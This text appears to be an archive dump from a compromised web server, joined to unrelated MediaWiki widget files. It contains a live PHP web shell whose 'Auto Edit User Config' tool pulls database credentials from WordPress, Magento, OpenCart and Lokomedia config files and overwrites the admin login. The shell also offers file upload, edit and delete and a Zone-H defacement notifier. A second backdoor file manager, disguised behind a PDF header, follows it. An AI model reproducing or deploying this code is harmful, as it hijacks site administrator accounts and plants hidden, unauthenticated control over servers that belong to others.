                    $result = mysql_fetch_array($q);
                    $id = $result[ID];
                    $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
                    $result2 = mysql_fetch_array($q2);
                    $target = $result2[option_value];
                    if($target == '') {
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                    } else {
                        $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
                    }
                    $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Wordpress<br>";
                    echo $url_target;
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/Magento|Mage_Core/",$config)) {
                    $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
                    $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
                    $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
                    $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
                    $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
                    $prefix = $dbprefix."admin_user";
                    $option = $dbprefix."core_config_data";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result[user_id];
                    $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
                    $result2 = mysql_fetch_array($q2);
                    $target = $result2[value];
                    if($target == '') {
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                    } else {
                        $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
                    }
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Magento<br>";
                    echo $url_target;
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
                    $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
                    $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
                    $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
                    $dbname = ambilkata($config,"'DB_DATABASE', '","'");
                    $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
                    $prefix = $dbprefix."user";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result[user_id];
                    $target = ambilkata($config,"HTTP_SERVER', '","'");
                    if($target == '') {
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                    } else {
                        $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
                    }
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => OpenCart<br>";
                    echo $url_target;
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
                    $dbhost = ambilkata($config,'server = "','"');
                    $dbuser = ambilkata($config,'username = "','"');
                    $dbpass = ambilkata($config,'password = "','"');
                    $dbname = ambilkata($config,'database = "','"');
                    $prefix = "users";
                    $option = "identitas";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
                    $result = mysql_fetch_array($q);
                    $target = $result[alamat_website];
                    if($target == '') {
                        $target2 = $result[url];
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                        if($target2 == '') {
                            $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                        } else {
                            $cek_login3 = file_get_contents("$target2/adminweb/");
                            $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
                            if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
                                $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
                            } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
                                $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
                            } else {
                                $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
                            }
                        }
                    } else {
                        $cek_login = file_get_contents("$target/adminweb/");
                        $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
                        if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
                            $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
                        } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
                            $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
                        } else {
                            $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
                        }
                    }
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Lokomedia<br>";
                    if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
                        echo $url_target2;
                    } else {
                        echo $url_target;
                    }
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                }
            }
        }
    } else {
        echo "<center>
        <h1>Auto Edit User Config</h1>
        <form method='post'>
        <input type='hidden' name='d' value='".base64_encode($currentDir)."'>
        DIR Config: <br>
        <input type='text' size='50' name='config_dir' value='$dir'><br><br>
        Set User & Pass: <br>
        <input type='text' name='user_baru' value='DPH' placeholder='user_baru'><br>
        <input type='text' name='pass_baru' value='DPH690' placeholder='pass_baru'><br>
        <input type='submit' name='hajar' value='Sikat!' style='width: 215px;'>
        </form>
        <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
        ";
        exit;
    }
}

// Directory Navigation
$pathParts = explode("/", $currentDir);
echo "<div class=\"dir\">";
foreach ($pathParts as $k => $v) {
    if ($v == "" && $k == 0) {
        echo "<a href=\"javascript:void(0);\" onclick=\"postDir('/')\">/</a>";
        continue;
    }
    $dirPath = implode("/", array_slice($pathParts, 0, $k + 1));
    echo "<a href=\"javascript:void(0);\" onclick=\"postDir('" . addslashes($dirPath) . "')\">$v</a>/";
}
echo "</div>";

// Upload
if (isset($_POST['s']) && isset($_FILES['u']) && $_FILES['u']['error'] == 0) {
    $fileName = $_FILES['u']['name'];
    $tmpName = $_FILES['u']['tmp_name'];
    $destination = $currentDir . '/' . $fileName;
    if (move_uploaded_file($tmpName, $destination)) {
        echo "<script>alert('Upload successful!'); postDir('" . addslashes($currentDir) . "');</script>";
    } else {
        echo "<script>alert('Upload failed!');</script>";
    }
}

// File/Folder Listing
$items = scandir($currentDir);
if ($items !== false) {
    echo "<table>";
    echo "<tr><th>Name</th><th>Size</th><th>Action</th></tr>";

    foreach ($items as $item) {
        $fullPath = $currentDir . '/' . $item;
        if ($item == '.' || $item == '..') continue;

        if (is_dir($fullPath)) {
            echo "<tr><td><a href=\"javascript:void(0);\" onclick=\"postDir('" . addslashes($fullPath) . "')\">📁 $item</a></td><td>--</td><td>--</td></tr>";
        } else {
            $size = filesize($fullPath) / 1024;
            $size = $size >= 1024 ? round($size / 1024, 2) . 'MB' : round($size, 2) . 'KB';
            echo "<tr><td><a href=\"javascript:void(0);\" onclick=\"postOpen('" . addslashes($fullPath) . "')\">📄 $item</a></td><td>$size</td><td>"
                . "<a href=\"javascript:void(0);\" onclick=\"postDel('" . addslashes($fullPath) . "')\">Delete</a> | "
                . "<a href=\"javascript:void(0);\" onclick=\"postEdit('" . addslashes($fullPath) . "')\">Edit</a> | "
                . "<a href=\"javascript:void(0);\" onclick=\"postRen('" . addslashes($fullPath) . "', '$item')\">Rename</a>"
                . "</td></tr>";
        }
    }
    echo "</table>";
} else {
    echo "<p>Unable to read directory!</p>";
}

// Delete File
if (isset($_POST['del'])) {
    $filePath = base64_decode($_POST['del']);
    $fileDir = dirname($filePath);
    if (@unlink($filePath)) {
        echo "<script>alert('Delete successful'); postDir('" . addslashes($fileDir) . "');</script>";
    } else {
        echo "<script>alert('Delete failed'); postDir('" . addslashes($fileDir) . "');</script>";
    }
}

// Edit File
if (isset($_POST['edit'])) {
    $filePath = base64_decode($_POST['edit']);
    $fileDir = dirname($filePath);
    if (file_exists($filePath)) {
        echo "<style>table{display:none;}</style>";
        echo "<a href=\"javascript:void(0);\" onclick=\"postDir('" . addslashes($fileDir) . "')\">Back</a>";
        echo "<form method=\"post\">
            <input type=\"hidden\" name=\"obj\" value=\"" . $_POST['edit'] . "\">
            <input type=\"hidden\" name=\"d\" value=\"" . base64_encode($fileDir) . "\">
            <textarea name=\"content\">" . htmlspecialchars(file_get_contents($filePath)) . "</textarea>
            <center><button type=\"submit\" name=\"save\">Save</button></center>
            </form>";
    }
}

// Save Edited File
if (isset($_POST['save']) && isset($_POST['obj']) && isset($_POST['content'])) {
    $filePath = base64_decode($_POST['obj']);
    $fileDir = dirname($filePath);
    if (file_put_contents($filePath, $_POST['content'])) {
        echo "<script>alert('Saved'); postDir('" . addslashes($fileDir) . "');</script>";
    } else {
        echo "<script>alert('Save failed'); postDir('" . addslashes($fileDir) . "');</script>";
    }
}

// Rename
if (isset($_POST['ren'])) {
    $oldPath = base64_decode($_POST['ren']);
    $oldDir = dirname($oldPath);
    if (isset($_POST['new'])) {
        $newPath = $oldDir . '/' . $_POST['new'];
        if (rename($oldPath, $newPath)) {
            echo "<script>alert('Renamed'); postDir('" . addslashes($oldDir) . "');</script>";
        } else {
            echo "<script>alert('Rename failed'); postDir('" . addslashes($oldDir) . "');</script>";
        }
    } else {
        echo "<form method=\"post\">
            New Name: <input name=\"new\" type=\"text\">
            <input type=\"hidden\" name=\"ren\" value=\"" . $_POST['ren'] . "\">
            <input type=\"hidden\" name=\"d\" value=\"" . base64_encode($oldDir) . "\">
            <input type=\"submit\" value=\"Submit\">
            </form>";
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>File Manager + Adminer + ZoneH + AutoEditUser</title>
    <style>
        table { margin: 20px auto; border-collapse: collapse; width: 90%; }
        th, td { border: 1px solid #000; padding: 5px; text-align: left; }
        textarea { width: 100%; height: 300px; }
        .dir { margin: 20px; }
    </style>
    <script>
        function postDir(dir) {
            var form = document.createElement("form");
            form.method = "post";
            var input = document.createElement("input");
            input.name = "d";
            input.value = btoa(dir);
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
        function postDel(path) {
            var form = document.createElement("form");
            form.method = "post";
            var input = document.createElement("input");
            input.name = "del";
            input.value = btoa(path);
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
        function postEdit(path) {
            var form = document.createElement("form");
            form.method = "post";
            var input = document.createElement("input");
            input.name = "edit";
            input.value = btoa(path);
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
        function postRen(path, name) {
            var newName = prompt("New name:", name);
            if (newName) {
                var form = document.createElement("form");
                form.method = "post";
                var input1 = document.createElement("input");
                input1.name = "ren";
                input1.value = btoa(path);
                var input2 = document.createElement("input");
                input2.name = "new";
                input2.value = newName;
                form.appendChild(input1);
                form.appendChild(input2);
                document.body.appendChild(form);
                form.submit();
            }
        }
        function postOpen(path) {
            window.open(atob(btoa(path)));
        }
    </script>
</head>
<body>
    <div class="dir">
        <form method="post" enctype="multipart/form-data">
            <input type="file" name="u">
            <input type="submit" name="s" value="Upload">
            <input type="hidden" name="d" value="<?php echo base64_encode($currentDir); ?>">
        </form>
        <div style="margin-top: 10px;">
            <a href="?DPH=adminer">Adminer Download</a> | 
            <a href="?DPH=zoneh">Zone-H Notifier</a> | 
            <a href="?DPH=edit_user">Auto Edit User Config</a>
        </div>
    </div>
</body>
</html>index.php000066600000025453151335004600006376 0ustar00%PDF-1.7
3 0 obj
<!DOCTYPE html>korsygfhrtggggggzangaiide




<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Elehhjhjjkjkfpffff</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>

<body>

    <?php


    //function
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

    function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

    function fileIcon($file)
    {
        $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
        $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
        $ext = strtolower(fileExtension($file));
        if ($file == "error_log") {
            return '<i class="fa-sharp fa-solid fa-bug"></i> ';
        } elseif ($file == ".htaccess") {
            return '<i class="fa-solid fa-hammer"></i> ';
        }
        if ($ext == "html" || $ext == "htm") {
            return '<i class="fa-brands fa-html5"></i> ';
        } elseif ($ext == "php" || $ext == "phtml") {
            return '<i class="fa-brands fa-php"></i> ';
        } elseif (in_array($ext, $imgs)) {
            return '<i class="fa-regular fa-images"></i> ';
        } elseif ($ext == "css") {
            return '<i class="fa-brands fa-css3"></i> ';
        } elseif ($ext == "txt") {
            return '<i class="fa-regular fa-file-lines"></i> ';
        } elseif (in_array($ext, $audio)) {
            return '<i class="fa-duotone fa-file-music"></i> ';
        } elseif ($ext == "py") {
            return '<i class="fa-brands fa-python"></i> ';
        } elseif ($ext == "js") {
            return '<i class="fa-brands fa-js"></i> ';
        } else {
            return '<i class="fa-solid fa-file"></i> ';
        }
    }

    function encodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($b, $a, $path);
    }



    $root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>\
alert('Directory is Corrupted and Unreadable.');\
window.location.replace('?');\
</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

    echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://raw.githubusercontent.com/hurairathexper/elepfilemanager/main/img/icon.png" width="30" height="30" alt=""></a>
');

    $path = str_replace('\\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "ঘ", $paths[$i]);
            if ($i != $id)
                echo "ক";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload FileeE</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>');


    if (isset($_GET['p'])) {

        //fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
                    echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

    if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

    if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your file.</p>";
        }

    }
    if (isset($_GET['d']) && isset($_GET['q'])) {
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>


    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>mediawiki.widgets/mw.widgets.CategoryTagItemWidget.js000066600000014025151335045660017013 0ustar00/*!
 * MediaWiki Widgets - CategoryTagItemWidget class.
 *
 * @copyright 2011-2015 MediaWiki Widgets Team and others; see AUTHORS.txt
 * @license The MIT License (MIT); see LICENSE.txt
 */
( function () {

	var hasOwn = Object.prototype.hasOwnProperty;

	/**
	 * @class mw.widgets.PageExistenceCache
	 * @private
	 * @param {mw.Api} [api]
	 */
	function PageExistenceCache( api ) {
		this.api = api || new mw.Api();
		this.processExistenceCheckQueueDebounced = OO.ui.debounce( this.processExistenceCheckQueue );
		this.currentRequest = null;
		this.existenceCache = {};
		this.existenceCheckQueue = {};
	}

	/**
	 * Check for existence of pages in the queue.
	 *
	 * @private
	 */
	PageExistenceCache.prototype.processExistenceCheckQueue = function () {
		var queue, titles,
			cache = this;
		if ( this.currentRequest ) {
			// Don't fire off a million requests at the same time
			this.currentRequest.always( function () {
				cache.currentRequest = null;
				cache.processExistenceCheckQueueDebounced();
			} );
			return;
		}
		queue = this.existenceCheckQueue;
		this.existenceCheckQueue = {};
		titles = Object.keys( queue ).filter( function ( title ) {
			if ( hasOwn.call( cache.existenceCache, title ) ) {
				queue[ title ].resolve( cache.existenceCache[ title ] );
			}
			return !hasOwn.call( cache.existenceCache, title );
		} );
		if ( !titles.length ) {
			return;
		}
		this.currentRequest = this.api.get( {
			formatversion: 2,
			action: 'query',
			prop: [ 'info' ],
			titles: titles
		} ).done( function ( response ) {
			var
				normalized = {},
				pages = {};
			( response.query.normalized || [] ).forEach( function ( data ) {
				normalized[ data.fromencoded ? decodeURIComponent( data.from ) : data.from ] = data.to;
			} );
			response.query.pages.forEach( function ( page ) {
				pages[ page.title ] = !page.missing;
			} );
			titles.forEach( function ( title ) {
				var normalizedTitle = title;
				while ( hasOwn.call( normalized, normalizedTitle ) ) {
					normalizedTitle = normalized[ normalizedTitle ];
				}
				cache.existenceCache[ title ] = pages[ normalizedTitle ];
				queue[ title ].resolve( cache.existenceCache[ title ] );
			} );
		} );
	};

	/**
	 * Register a request to check whether a page exists.
	 *
	 * @private
	 * @param {mw.Title} title
	 * @return {jQuery.Promise} Promise resolved with true if the page exists or false otherwise
	 */
	PageExistenceCache.prototype.checkPageExistence = function ( title ) {
		var key = title.getPrefixedText();
		if ( !hasOwn.call( this.existenceCheckQueue, key ) ) {
			this.existenceCheckQueue[ key ] = $.Deferred();
		}
		this.processExistenceCheckQueueDebounced();
		return this.existenceCheckQueue[ key ].promise();
	};

	/**
	 * @class mw.widgets.ForeignTitle
	 * @private
	 * @extends mw.Title
	 *
	 * @constructor
	 * @param {string} title
	 * @param {number} [namespace]
	 */
	function ForeignTitle( title, namespace ) {
		// We only need to handle categories here... but we don't know the target language.
		// So assume that any namespace-like prefix is the 'Category' namespace...
		title = title.replace( /^(.+?)_*:_*(.*)$/, 'Category:$2' ); // HACK
		ForeignTitle.parent.call( this, title, namespace );
	}
	OO.inheritClass( ForeignTitle, mw.Title );
	ForeignTitle.prototype.getNamespacePrefix = function () {
		// We only need to handle categories here...
		return 'Category:'; // HACK
	};

	/**
	 * Category selector tag item widget. Extends OO.ui.TagItemWidget with the ability to link
	 * to the given page, and to show its existence status (i.e., whether it is a redlink).
	 *
	 * @class mw.widgets.CategoryTagItemWidget
	 * @uses mw.Api
	 * @extends OO.ui.TagItemWidget
	 *
	 * @constructor
	 * @param {Object} config Configuration options
	 * @cfg {mw.Title} title Page title to use (required)
	 * @cfg {string} [apiUrl] API URL, if not the current wiki's API
	 */
	mw.widgets.CategoryTagItemWidget = function MWWCategoryTagItemWidget( config ) {
		var widget = this;
		// Parent constructor
		mw.widgets.CategoryTagItemWidget.parent.call( this, $.extend( {
			data: config.title.getMainText(),
			label: config.title.getMainText()
		}, config ) );

		// Properties
		this.title = config.title;
		this.apiUrl = config.apiUrl || '';
		this.$link = $( '<a>' )
			.text( this.label )
			.attr( 'target', '_blank' )
			.on( 'click', function ( e ) {
				// TagMultiselectWidget really wants to prevent you from clicking the link, don't let it
				e.stopPropagation();
			} );

		// Initialize
		this.setMissing( false );
		this.$label.replaceWith( this.$link );
		this.setLabelElement( this.$link );

		if ( !this.constructor.static.pageExistenceCaches[ this.apiUrl ] ) {
			this.constructor.static.pageExistenceCaches[ this.apiUrl ] =
				new PageExistenceCache( new mw.ForeignApi( this.apiUrl ) );
		}
		this.constructor.static.pageExistenceCaches[ this.apiUrl ]
			.checkPageExistence( new ForeignTitle( this.title.getPrefixedText() ) )
			.done( function ( exists ) {
				widget.setMissing( !exists );
			} );
	};

	/* Setup */

	OO.inheritClass( mw.widgets.CategoryTagItemWidget, OO.ui.TagItemWidget );

	/* Static Properties */

	/**
	 * Map of API URLs to PageExistenceCache objects.
	 *
	 * @static
	 * @inheritable
	 * @property {Object}
	 */
	mw.widgets.CategoryTagItemWidget.static.pageExistenceCaches = {
		'': new PageExistenceCache()
	};

	/* Methods */

	/**
	 * Update label link href and CSS classes to reflect page existence status.
	 *
	 * @private
	 * @param {boolean} missing Whether the page is missing (does not exist)
	 */
	mw.widgets.CategoryTagItemWidget.prototype.setMissing = function ( missing ) {
		var
			title = new ForeignTitle( this.title.getPrefixedText() ), // HACK
			prefix = this.apiUrl.replace( '/w/api.php', '' ); // HACK

		this.missing = missing;

		if ( !missing ) {
			this.$link
				.attr( 'href', prefix + title.getUrl() )
				.attr( 'title', title.getPrefixedText() )
				.removeClass( 'new' );
		} else {
			this.$link
				.attr( 'href', prefix + title.getUrl( { action: 'edit', redlink: 1 } ) )
				.attr( 'title', mw.msg( 'red-link-title', title.getPrefixedText() ) )
				.addClass( 'new' );
		}
	};
}() );
mediawiki.widgets/mw.widgets.TagMultiselectWidget.base.css000066600000000617151335045660020000 0ustar00/*!
 * MediaWiki Widgets - base TagMultiselectWidget styles.
 *
 * @copyright 2011-2018 MediaWiki Widgets Team and others; see AUTHORS.txt
 * @license The MIT License (MIT); see LICENSE.txt
 */

.client-nojs .mw-widgets-tagMultiselectWidget .mw-widgets-pendingTextInputWidget,
.client-js .mw-widgets-tagMultiselectWidget .mw-widgets-tagMultiselectWidget-multilineTextInputWidget {
	display: none;
}
mediawiki.widgets/mw.widgets.SizeFilterWidget.js000066600000006623151335045660016050 0ustar00/*!
 * MediaWiki Widgets - SizeFilterWidget class.
 *
 * @copyright 2011-2018 MediaWiki Widgets Team and others; see AUTHORS.txt
 * @license The MIT License (MIT); see LICENSE.txt
 */
( function () {

	/**
	 * RadioSelectInputWidget and a TextInputWidget to set minimum or maximum byte size
	 *
	 *     mw.loader.using( 'mediawiki.widgets.SizeFilterWidget', function () {
	 *       var sf = new mw.widgets.SizeFilterWidget();
	 *       $( document.body ).append( sf.$element );
	 *     } );
	 *
	 * @class mw.widgets.SizeFilterWidget
	 * @extends OO.ui.Widget
	 * @uses OO.ui.RadioSelectInputWidget
	 * @uses OO.ui.TextInputWidget
	 *
	 * @constructor
